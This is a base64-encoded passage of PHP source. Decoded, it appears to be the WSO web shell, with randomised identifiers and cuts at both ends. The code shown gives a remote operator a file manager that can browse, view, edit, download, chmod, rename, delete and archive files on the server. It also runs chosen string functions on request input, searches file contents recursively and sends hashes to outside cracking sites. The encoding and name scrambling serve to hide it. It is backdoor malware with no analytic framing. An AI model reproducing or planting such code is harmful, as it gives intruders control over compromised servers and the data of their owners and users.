bnJpcHhbJ3R5cGUnXSA9PSAnZmlsZScpID8gJ2coXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycgLiB1cmxlbmNvZGUoJGV6bnJpcHhbJ25hbWUnXSkgLiAnXCcsIFwndmlld1wnKSI+JyAuIGh0bWxzcGVjaWFsY2hhcnMoJGV6bnJpcHhbJ25hbWUnXSkgOiAnZyhcJ0ZpbGVzTWFuXCcsXCcnIC4gJGV6bnJpcHhbJ3BhdGgnXSAuICdcJyk7IiAnIC4gKGVtcHR5KCRlem5yaXB4WydsaW5rJ10pID8gJycgOiAidGl0bGU9J3skZXpucmlweFsnbGluayddfSciKSAuICc+PGI+WyAnIC4gaHRtbHNwZWNpYWxjaGFycygkZXpucmlweFsnbmFtZSddKSAuICcgXTwvYj4nKSAuICc8L2E+PC90ZD48dGQ+JyAuICgoJGV6bnJpcHhbJ3R5cGUnXSA9PSAnZmlsZScpID8gZGJ0Y3EoJGV6bnJpcHhbJ3NpemUnXSkgOiAkZXpucmlweFsndHlwZSddKSAuICc8L3RkPjx0ZD4nIC4gJGV6bnJpcHhbJ21vZGlmeSddIC4gJzwvdGQ+PHRkPicgLiAkZXpucmlweFsnb3duZXInXSAuICcvJyAuICRlem5yaXB4Wydncm91cCddIC4gJzwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnIC4gdXJsZW5jb2RlKCRlem5yaXB4WyduYW1lJ10pIC4gJ1wnLFwnY2htb2RcJykiPicgLiAkZXpucmlweFsncGVybXMnXQogICAgICAgICAgICAuICc8L3RkPjx0ZD48YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnIC4gdXJsZW5jb2RlKCRlem5yaXB4WyduYW1lJ10pIC4gJ1wnLCBcJ3JlbmFtZVwnKSI+UjwvYT4gPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJyAuIHVybGVuY29kZSgkZXpucmlweFsnbmFtZSddKSAuICdcJywgXCd0b3VjaFwnKSI+VDwvYT4nIC4gKCgkZXpucmlweFsndHlwZSddID09ICdmaWxlJykgPyAnIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycgLiB1cmxlbmNvZGUoJGV6bnJpcHhbJ25hbWUnXSkgLiAnXCcsIFwnZWRpdFwnKSI+RTwvYT4gPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJyAuIHVybGVuY29kZSgkZXpucmlweFsnbmFtZSddKSAuICdcJywgXCdkb3dubG9hZFwnKSI+RDwvYT4nIDogJycpIC4gJzwvdGQ+PC90cj4nOwogICAgICAgICRzanBpYXVoZW0gPSAkc2pwaWF1aGVtID8gMCA6IDE7CiAgICB9CgoKICAgIGVjaG8gIjx0cj48dGQgY29sc3Bhbj03PgoKICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1vYmt1c3AgdmFsdWU9JyIgLiBra3dhdW8oJ0ZpbGVzTWFuJykgLiAiJz4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT12bHJzbyB2YWx1ZT0nIiAuIGtrd2F1byhodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWyd6bnBjaXJhZ3VsaSddKSkgLiAiJz4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1zZnRyIHZhbHVlPSciIC4gKGlzc2V0KCRfUE9TVFsnc2Z0ciddKSA/ICRfUE9TVFsnc2Z0ciddIDogJycpIC4gIic+CiAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBuYW1lPSdsc2RlZSc+PG9wdGlvbiB2YWx1ZT0nIiAuIGtrd2F1bygnY29weScpIC4gIic+Q29weTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9JyIgLiBra3dhdW8oJ21vdmUnKSAuICInPk1vdmU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSciIC4ga2t3YXVvKCdkZWxldGUnKSAuICInPkRlbGV0ZTwvb3B0aW9uPiI7CiAgICBpZiAoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHsKICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSciIC4ga2t3YXVvKCd6aXAnKSAuICInPkNvbXByZXNzICh6aXApPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nIiAuIGtrd2F1bygndW56aXAnKSAuICInPlVuY29tcHJlc3MgKHppcCk8L29wdGlvbj4iOwogICAgfQogICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0nIiAuIGtrd2F1bygndGFyJykgLiAiJz5Db21wcmVzcyAodGFyLmd6KTwvb3B0aW9uPiI7CgogICAgaWYgKCFlbXB0eSgkX0NPT0tJRVsnc2VqeiddKSAmJiAoaXNzZXQoJF9DT09LSUVbJ25wZGtpJ10pICYmICFlbXB0eSgkX0NPT0tJRVsnbnBka2knXSkpKSB7CiAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0nIiAuIGtrd2F1bygncGFzdGUnKSAuICInPlBhc3RlIC8gQ29tcHJlc3M8L29wdGlvbj4iOwogICAgfQoKICAgIGVjaG8gIjwvc2VsZWN0PiZuYnNwOyI7CgogICAgaWYgKCFlbXB0eSgkX0NPT0tJRVsnc2VqeiddKSAmJiAoaXNzZXQoJF9DT09LSUVbJ25wZGtpJ10pICYmICFlbXB0eSgkX0NPT0tJRVsnbnBka2knXSkpICYmICgoJF9DT09LSUVbJ3NlanonXSA9PSAnemlwJykgfHwgKCRfQ09PS0lFWydzZWp6J10gPT0gJ3RhcicpKSkgewogICAgICAgICRqcmtiZHdrcSA9ICJ3c29fIiAuIGRhdGUoIlltZF9IaXMiKSAuICIuIiAuICgkX0NPT0tJRVsnc2VqeiddID09ICd6aXAnID8gJ3ppcCcgOiAndGFyLmd6Jyk7CiAgICAgICAgZWNobyAiZmlsZSBuYW1lOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9cDIgdmFsdWU9JyIgLiBra3dhdW8oJGpya2Jkd2txKSAuICInPiZuYnNwOyI7CiAgICB9CgogICAgZWNobyAiPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jz48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+PC9kaXY+IjsKCiAgICBqendkeigpOwp9CgpmdW5jdGlvbiBhY3Rpb25TdHJpbmdUb29scygpIHsKICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCdoZXgyYmluJykpIHsKCiAgICAgICAgZnVuY3Rpb24gaGV4MmJpbigkaG9vaXp6KSB7CiAgICAgICAgICAgIHJldHVybiBkZWNiaW4oaGV4ZGVjKCRob29penopKTsKICAgICAgICB9CgogICAgfQogICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2JpbmhleCcpKSB7CgogICAgICAgIGZ1bmN0aW9uIHJnbWt3cW8oJGhvb2l6eikgewogICAgICAgICAgICByZXR1cm4gZGVjaGV4KGJpbmRlYygkaG9vaXp6KSk7CiAgICAgICAgfQoKICAgIH0KICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCdoZXgyYXNjaWknKSkgewoKICAgICAgICBmdW5jdGlvbiBqZ2lzZWYoJGhvb2l6eikgewogICAgICAgICAgICAkeWNqeWl0bWpnID0gJyc7CiAgICAgICAgICAgIGZvciAoJGplZHByd3ZhZWYgPSAwOyAkamVkcHJ3dmFlZiA8IHN0ckxlbigkaG9vaXp6KTsgJGplZHByd3ZhZWYgKz0gMikgewogICAgICAgICAgICAgICAgJHljanlpdG1qZyAuPSBjaHIoaGV4ZGVjKCRob29penpbJGplZHByd3ZhZWZdIC4gJGhvb2l6elskamVkcHJ3dmFlZiArIDFdKSk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIHJldHVybiAkeWNqeWl0bWpnOwogICAgICAgIH0KCiAgICB9CiAgICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygnYXNjaWkyaGV4JykpIHsKCiAgICAgICAgZnVuY3Rpb24ga3hoYWdwY3UoJGhvb2l6eikgewogICAgICAgICAgICAkeWNqeWl0bWpnID0gJyc7CiAgICAgICAgICAgIGZvciAoJGplZHByd3ZhZWYgPSAwOyAkamVkcHJ3dmFlZiA8IHN0cmxlbigkaG9vaXp6KTsgKyskamVkcHJ3dmFlZikgewogICAgICAgICAgICAgICAgJHljanlpdG1qZyAuPSBzcHJpbnRmKCclMDJYJywgb3JkKCRob29penpbJGplZHByd3ZhZWZdKSk7CgogICAgICAgICAgICAgICAgcmV0dXJuIHN0cnRvdXBwZXIoJHljanlpdG1qZyk7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgfQogICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2Z1bGxfdXJsZW5jb2RlJykpIHsKCiAgICAgICAgZnVuY3Rpb24gcGdza2woJGhvb2l6eikgewogICAgICAgICAgICAkeWNqeWl0bWpnID0gJyc7CiAgICAgICAgICAgIGZvciAoJGplZHByd3ZhZWYgPSAwOyAkamVkcHJ3dmFlZiA8IHN0cmxlbigkaG9vaXp6KTsgKyskamVkcHJ3dmFlZikgewogICAgICAgICAgICAgICAgJHljanlpdG1qZyAuPSAnJScgLiBkZWNoZXgob3JkKCRob29penpbJGplZHByd3ZhZWZdKSk7CgogICAgICAgICAgICAgICAgcmV0dXJuIHN0cnRvdXBwZXIoJHljanlpdG1qZyk7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgfQogICAgJHViZHhicSA9IGFycmF5KAogICAgICAgICdCYXNlNjQgZW5jb2RlJyA9PiAnYmFzZTY0X2VuY29kZScsCiAgICAgICAgJ0Jhc2U2NCBkZWNvZGUnID0+ICdiYXNlNjRfZGVjb2RlJywKICAgICAgICAnVXJsIGVuY29kZScgPT4gJ3VybGVuY29kZScsCiAgICAgICAgJ1VybCBkZWNvZGUnID0+ICd1cmxkZWNvZGUnLAogICAgICAgICdGdWxsIHVybGVuY29kZScgPT4gJ2Z1bGxfdXJsZW5jb2RlJywKICAgICAgICAnbWQ1IGhhc2gnID0+ICdtZDUnLAogICAgICAgICdzaGExIGhhc2gnID0+ICdzaGExJywKICAgICAgICAnY3J5cHQnID0+ICdjcnlwdCcsCiAgICAgICAgJ0NSQzMyJyA9PiAnY3JjMzInLAogICAgICAgICdBU0NJSSB0byBIRVgnID0+ICdhc2NpaTJoZXgnLAogICAgICAgICdIRVggdG8gQVNDSUknID0+ICdoZXgyYXNjaWknLAogICAgICAgICdIRVggdG8gREVDJyA9PiAnaGV4ZGVjJywKICAgICAgICAnSEVYIHRvIEJJTicgPT4gJ2hleDJiaW4nLAogICAgICAgICdERUMgdG8gSEVYJyA9PiAnZGVjaGV4JywKICAgICAgICAnREVDIHRvIEJJTicgPT4gJ2RlY2JpbicsCiAgICAgICAgJ0JJTiB0byBIRVgnID0+ICdiaW5oZXgnLAogICAgICAgICdCSU4gdG8gREVDJyA9PiAnYmluZGVjJywKICAgICAgICAnU3RyaW5nIHRvIGxvd2VyIGNhc2UnID0+ICdzdHJ0b2xvd2VyJywKICAgICAgICAnU3RyaW5nIHRvIHVwcGVyIGNhc2UnID0+ICdzdHJ0b3VwcGVyJywKICAgICAgICAnSHRtbHNwZWNpYWxjaGFycycgPT4gJ2h0bWxzcGVjaWFsY2hhcnMnLAogICAgICAgICdTdHJpbmcgbGVuZ3RoJyA9PiAnc3RybGVuJywKICAgICk7CiAgICBpZiAoaXNzZXQoJF9QT1NUWydsdG5tYSddKSkgewogICAgICAgIHJwbGx3dXd6KG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnLCB0cnVlKTsKICAgICAgICBvYl9zdGFydCgpOwogICAgICAgIGlmIChpbl9hcnJheSgkX1BPU1RbJ2xzZGVlJ10sICR1YmR4YnEpKSB7CiAgICAgICAgICAgIGVjaG8gJF9QT1NUWydsc2RlZSddKCRfUE9TVFsnZHh4eHJkJ10pOwogICAgICAgIH0KICAgICAgICAkam90bGZhY3NxZ3UgPSAiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3N0ck91dHB1dCcpLnN0eWxlLmRpc3BsYXk9Jyc7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3N0ck91dHB1dCcpLmlubmVySFRNTD0nIiAuIGFkZGNzbGFzaGVzKGh0bWxzcGVjaWFsY2hhcnMob2JfZ2V0X2NsZWFuKCkpLCAiXG5cclx0XFwnXDAiKSAuICInO1xuIjsKICAgICAgICBlY2hvIHN0cmxlbigkam90bGZhY3NxZ3UpLCAiXG4iLCAkam90bGZhY3NxZ3U7CiAgICAgICAgZXhpdDsKICAgIH0KICAgIGlmIChlbXB0eSgkX1BPU1RbJ2x0bm1hJ10pICYmICFlbXB0eSgkX1BPU1RbJ2xzZGVlJ10pKSB7CiAgICAgICAgcnBsbHd1d3oobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCcsIDApOwogICAgfQoKICAgIHFlbXZrKCk7CiAgICBlY2hvICc8aDE+U3RyaW5nIGNvbnZlcnNpb25zPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKICAgIGVjaG8gIjxmb3JtIG5hbWU9J3Rvb2xzRm9ybScgb25TdWJtaXQ9J2lmKHRoaXMuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsdWUsdGhpcy5pbnB1dC52YWx1ZSk7fWVsc2V7ZyhudWxsLG51bGwsdGhpcy5zZWxlY3RUb29sLnZhbHVlLHRoaXMuaW5wdXQudmFsdWUpO30gcmV0dXJuIGZhbHNlOyc+PHNlbGVjdCBuYW1lPSdzZWxlY3RUb29sJz4iOwogICAgZm9yZWFjaCAoJHViZHhicSBhcyAkaHltamxsZHd0YyA9PiAkZWdjb3JldCkgewogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9JyIgLiBodG1sc3BlY2lhbGNoYXJzKCRlZ2NvcmV0KSAuICInPiIgLiAkaHltamxsZHd0YyAuICI8L29wdGlvbj4iOwogICAgfQogICAgZWNobyAiPC9zZWxlY3Q+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jy8+IDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICIgLiAoQCRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnXSA/ICdjaGVja2VkJyA6ICcnKSAuICI+IHNlbmQgdXNpbmcgQUpBWDxicj48dGV4dGFyZWEgbmFtZT0naW5wdXQnIHN0eWxlPSdtYXJnaW4tdG9wOjVweCcgY2xhc3M9YmlnYXJlYT4iIC4gKGVtcHR5KCRfUE9TVFsnbHNkZWUnXSkgPyAnJyA6IGh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsnZHh4eHJkJ10pKSAuICI8L3RleHRhcmVhPjwvZm9ybT48cHJlIGNsYXNzPSdtbDEnIHN0eWxlPSciIC4gKGVtcHR5KCRfUE9TVFsnbHNkZWUnXSkgPyAnZGlzcGxheTpub25lOycgOiAnJykgLiAibWFyZ2luLXRvcDo1cHgnIGlkPSdzdHJPdXRwdXQnPiI7CiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnbHNkZWUnXSkpIHsKICAgICAgICBpZiAoaW5fYXJyYXkoJF9QT1NUWydsc2RlZSddLCAkdWJkeGJxKSkgewogICAgICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydsc2RlZSddKCRfUE9TVFsnZHh4eHJkJ10pKTsKICAgICAgICB9CiAgICB9CiAgICBlY2hvICI8L3ByZT48L2Rpdj48YnI+PGgxPlNlYXJjaCBmaWxlczo8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4KICAgIDxmb3JtIG9uc3VibWl0PVwiZyhudWxsLHRoaXMuY3dkLnZhbHVlLG51bGwsdGhpcy50ZXh0LnZhbHVlLHRoaXMuZmlsZW5hbWUudmFsdWUpO3JldHVybiBmYWxzZTtcIj48dGFibGUgY2VsbHBhZGRpbmc9JzEnIGNlbGxzcGFjaW5nPScwJyB3aWR0aD0nNTAlJz4KICAgICAgICA8dHI+PHRkIHdpZHRoPScxJSc+VGV4dDo8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ndGV4dCcgc3R5bGU9J3dpZHRoOjEwMCUnPjwvdGQ+PC90cj4KICAgICAgICA8dHI+PHRkPlBhdGg6PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2N3ZCcgdmFsdWU9JyIgLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWyd6bnBjaXJhZ3VsaSddKSAuICInIHN0eWxlPSd3aWR0aDoxMDAlJz48L3RkPjwvdHI+CiAgICAgICAgPHRyPjx0ZD5OYW1lOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdmaWxlbmFtZScgdmFsdWU9JyonIHN0eWxlPSd3aWR0aDoxMDAlJz48L3RkPjwvdHI+CiAgICAgICAgPHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nPj4nPjwvdGQ+PC90cj4KICAgIDwvdGFibGU+PC9mb3JtPiI7CgogICAgZnVuY3Rpb24gcHRteXBxbygkbnJ1ZnN2eGtrKSB7CiAgICAgICAgaWYgKHN1YnN0cigkbnJ1ZnN2eGtrLCAtMSkgIT0gJy8nKSB7CiAgICAgICAgICAgICRucnVmc3Z4a2sgLj0gJy8nOwogICAgICAgIH0KCiAgICAgICAgJHF4dm10ZmxyID0gQGFycmF5X3VuaXF1ZShAYXJyYXlfbWVyZ2UoQGdsb2IoJG5ydWZzdnhrayAuICRfUE9TVFsna3Z1ZWQnXSksIEBnbG9iKCRucnVmc3Z4a2sgLiAnKicsIEdMT0JfT05MWURJUikpKTsKICAgICAgICBpZiAoaXNfYXJyYXkoJHF4dm10ZmxyKSAmJiBAY291bnQoJHF4dm10ZmxyKSkgewogICAgICAgICAgICBmb3JlYWNoICgkcXh2bXRmbHIgYXMgJGZuampmeW9haykgewogICAgICAgICAgICAgICAgaWYgKEBpc19kaXIoJGZuampmeW9haykpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoJG5ydWZzdnhrayAhPSAkZm5qamZ5b2FrKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHB0bXlwcW8oJGZuampmeW9hayk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJF9QT1NUWydkeHh4cmQnXSkgfHwgQHN0cnBvcyhmaWxlX2dldF9jb250ZW50cygkZm5qamZ5b2FrKSwgJF9QT1NUWydkeHh4cmQnXSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc1Rvb2xzXCIsbnVsbCxcIiIgLiB1cmxlbmNvZGUoJGZuampmeW9haykgLiAiXCIsIFwidmlld1wiLFwiXCIpJz4iIC4gaHRtbHNwZWNpYWxjaGFycygkZm5qamZ5b2FrKSAuICI8L2E+PGJyPiI7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQoKICAgIGlmIChAJF9QT1NUWydrdnVlZCddKSB7CiAgICAgICAgcHRteXBxbygkX1BPU1RbJ3ZscnNvJ10pOwogICAgfQoKICAgIGVjaG8gIjwvZGl2Pjxicj48aDE+U2VhcmNoIGZvciBoYXNoOjwvaDE+PGRpdiBjbGFzcz1jb250ZW50PgogICAgPGZvcm0gbWV0aG9kPSdwb3N0JyB0YXJnZXQ9J19ibGFuaycgbmFtZT0naGYnPgogICAgICAgIDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdoYXNoJyBzdHlsZT0nd2lkdGg6MjAwcHg7Jz48YnI+CiAgICAgICAgPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYWN0JyB2YWx1ZT0nZmluZCcvPgogICAgICAgIDxpbnB1dCB0eXBlPSdidXR0b24nIHZhbHVlPSdoYXNoY3JhY2tpbmcucnUnIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHBzOi8vaGFzaGNyYWNraW5nLnJ1L2luZGV4LnBocCc7ZG9jdW1lbnQuaGYuc3VibWl0KClcIj48YnI+CiAgICAgICAgPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J21kNS5yZWRub2l6ZS5jb20nIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly9tZDUucmVkbm9pemUuY29tLz9xPScrZG9jdW1lbnQuaGYuaGFzaC52YWx1ZSsnJnM9bWQ1Jztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPjxicj4KICAgICAgICA8aW5wdXQgdHlwZT0nYnV0dG9uJyB2YWx1ZT0nY3JhY2tmb3IubWUnIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly9jcmFja2Zvci5tZS9pbmRleC5waHAnO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPgogICAgPC9mb3JtPjwvZGl2PiI7CiAgICBqendkeigpOwp9CgpmdW5jdGlvbiBhY3Rpb25GaWxlc1Rvb2xzKCkgewogICAgaWYgKGlzc2V0KCRfUE9TVFsnbHNkZWUnXSkpIHsKICAgICAgICAkX1BPU1RbJ2xzZGVlJ10gPSB1cmxkZWNvZGUoJF9QT1NUWydsc2RlZSddKTsKICAgIH0KICAgIGlmIChAJF9QT1NUWydkeHh4cmQnXSA9PSAnZG93bmxvYWQnKSB7CiAgICAgICAgaWYgKEBpc19maWxlKCRfUE9TVFsnbHNkZWUnXSkgJiYgQGlzX3JlYWRhYmxlKCRfUE9TVFsnbHNkZWUnXSkpIHsKICAgICAgICAgICAgb2Jfc3RhcnQoIm9iX2d6aGFuZGxlciIsIDQwOTYpOwogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSIgLiBiYXNlbmFtZSgkX1BPU1RbJ2xzZGVlJ10pKTsKICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygibWltZV9jb250ZW50X3R5cGUiKSkgewogICAgICAgICAgICAgICAgJGtqb3VrciA9IEBtaW1lX2NvbnRlbnRfdHlwZSgkX1BPU1RbJ2xzZGVlJ10pOwogICAgICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6ICIgLiAka2pvdWtyKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkaXd1anJucHJ0dWwgPSBAZm9wZW4oJF9QT1NUWydsc2RlZSddLCAiciIpOwogICAgICAgICAgICBpZiAoJGl3dWpybnBydHVsKSB7CiAgICAgICAgICAgICAgICB3aGlsZSAoIUBmZW9mKCRpd3Vqcm5wcnR1bCkpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvIEBmcmVhZCgkaXd1anJucHJ0dWwsIDEwMjQpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZmNsb3NlKCRpd3Vqcm5wcnR1bCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZXhpdDsKICAgIH0KICAgIGlmIChAJF9QT1NUWydkeHh4cmQnXSA9PSAnbWtmaWxlJykgewogICAgICAgIGlmICghZmlsZV9leGlzdHMoJF9QT1NUWydsc2RlZSddKSkgewogICAgICAgICAgICAkaXd1anJucHJ0dWwgPSBAZm9wZW4oJF9QT1NUWydsc2RlZSddLCAndycpOwogICAgICAgICAgICBpZiAoJGl3dWpybnBydHVsKSB7CiAgICAgICAgICAgICAgICAkX1BPU1RbJ2R4eHhyZCddID0gImVkaXQiOwogICAgICAgICAgICAgICAgZmNsb3NlKCRpd3Vqcm5wcnR1bCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CiAgICBxZW12aygpOwogICAgZWNobyAnPGgxPkZpbGUgdG9vbHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwogICAgaWYgKCFmaWxlX2V4aXN0cyhAJF9QT1NUWydsc2RlZSddKSkgewogICAgICAgIGVjaG8gJ0ZpbGUgbm90IGV4aXN0cyc7CiAgICAgICAganp3ZHooKTsKCiAgICAgICAgcmV0dXJuOwogICAgfQogICAgJHZubndtcGh2ciA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRfUE9TVFsnbHNkZWUnXSkpOwogICAgaWYgKCEkdm5ud21waHZyKSB7CiAgICAgICAgJHZubndtcGh2clsnbmFtZSddID0gQGZpbGVvd25lcigkX1BPU1RbJ2xzZGVlJ10pOwogICAgICAgICR3enl6eXBbJ25hbWUnXSA9IEBmaWxlZ3JvdXAoJF9QT1NUWydsc2RlZSddKTsKICAgIH0gZWxzZSB7CiAgICAgICAgJHd6eXp5cCA9IEBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRfUE9TVFsnbHNkZWUnXSkpOwogICAgfQogICAgZWNobyAnPHNwYW4+TmFtZTo8L3NwYW4+ICcgLiBodG1sc3BlY2lhbGNoYXJzKEBiYXNlbmFtZSgkX1BPU1RbJ2xzZGVlJ10pKSAuICcgPHNwYW4+U2l6ZTo8L3NwYW4+ICcgLiAoaXNfZmlsZSgkX1BPU1RbJ2xzZGVlJ10pID8gZGJ0Y3EoZmlsZXNpemUoJF9QT1NUWydsc2RlZSddKSkgOiAnLScpIC4gJyA8c3Bhbj5QZXJtaXNzaW9uOjwvc3Bhbj4gJyAuIHF3emdrKCRfUE9TVFsnbHNkZWUnXSkgLiAnIDxzcGFuPk93bmVyL0dyb3VwOjwvc3Bhbj4gJyAuICR2bm53bXBodnJbJ25hbWUnXSAuICcvJyAuICR3enl6eXBbJ25hbWUnXSAuICc8YnI+JzsKICAgIGVjaG8gJzxzcGFuPkNoYW5nZSB0aW1lOjwvc3Bhbj4gJyAuIGRhdGUoJ1ktbS1kIEg6aTpzJywgZmlsZWN0aW1lKCRfUE9TVFsnbHNkZWUnXSkpIC4gJyA8c3Bhbj5BY2Nlc3MgdGltZTo8L3NwYW4+ICcgLiBkYXRlKCdZLW0tZCBIOmk6cycsIGZpbGVhdGltZSgkX1BPU1RbJ2xzZGVlJ10pKSAuICcgPHNwYW4+TW9kaWZ5IHRpbWU6PC9zcGFuPiAnIC4gZGF0ZSgnWS1tLWQgSDppOnMnLCBmaWxlbXRpbWUoJF9QT1NUWydsc2RlZSddKSkgLiAnPGJyPjxicj4nOwogICAgaWYgKGVtcHR5KCRfUE9TVFsnZHh4eHJkJ10pKSB7CiAgICAgICAgJF9QT1NUWydkeHh4cmQnXSA9ICd2aWV3JzsKICAgIH0KICAgIGlmIChpc19maWxlKCRfUE9TVFsnbHNkZWUnXSkpIHsKICAgICAgICAkcWJ4dXNhbWd3cmZrID0gYXJyYXkoJ1ZpZXcnLCAnSGlnaGxpZ2h0JywgJ0Rvd25sb2FkJywgJ0hleGR1bXAnLCAnRWRpdCcsICdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsKICAgIH0gZWxzZSB7CiAgICAgICAgJHFieHVzYW1nd3JmayA9IGFycmF5KCdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsKICAgIH0KCiAgICBmb3JlYWNoICgkcWJ4dXNhbWd3cmZrIGFzICRlZ2NvcmV0KSB7CiAgICAgICAgZWNobyAnPGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLFwnJyAuIHVybGVuY29kZSgkX1BPU1RbJ2xzZGVlJ10pIC4gJ1wnLFwnJyAuIHN0cnRvbG93ZXIoJGVnY29yZXQpIC4gJ1wnKSI+JyAuICgoc3RydG9sb3dlcigkZWdjb3JldCkgPT0gQCRfUE9TVFsnZHh4eHJkJ10pID8gJzxiPlsgJyAuICRlZ2NvcmV0IC4gJyBdPC9iPicgOiAkZWdjb3JldCkgLiAnPC9hPiAnOwogICAgfQogICAgZWNobyAnPGJyPjxicj4nOwogICAgc3dpdGNoICgkX1BPU1RbJ2R4eHhyZCddKSB7CiAgICAgICAgY2FzZSAndmlldyc6CiAgICAgICAgICAgIGVjaG8gJzxwcmUgY2xhc3M9bWwxPic7CiAgICAgICAgICAgICRpd3Vqcm5wcnR1bCA9IEBmb3BlbigkX1BPU1RbJ2xzZGVlJ10sICdyJyk7CiAgICAgICAgICAgIGlmICgkaXd1anJucHJ0dWwpIHsKICAgICAgICAgICAgICAgIHdoaWxlICghQGZlb2YoJGl3dWpybnBydHVsKSkgewogICAgICAgICAgICAgICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGl3dWpybnBydHVsLCAxMDI0KSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBAZmNsb3NlKCRpd3Vqcm5wcnR1bCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAnPC9wcmU+JzsKICAgICAgICAgICAgYnJlYWs7CiAgIC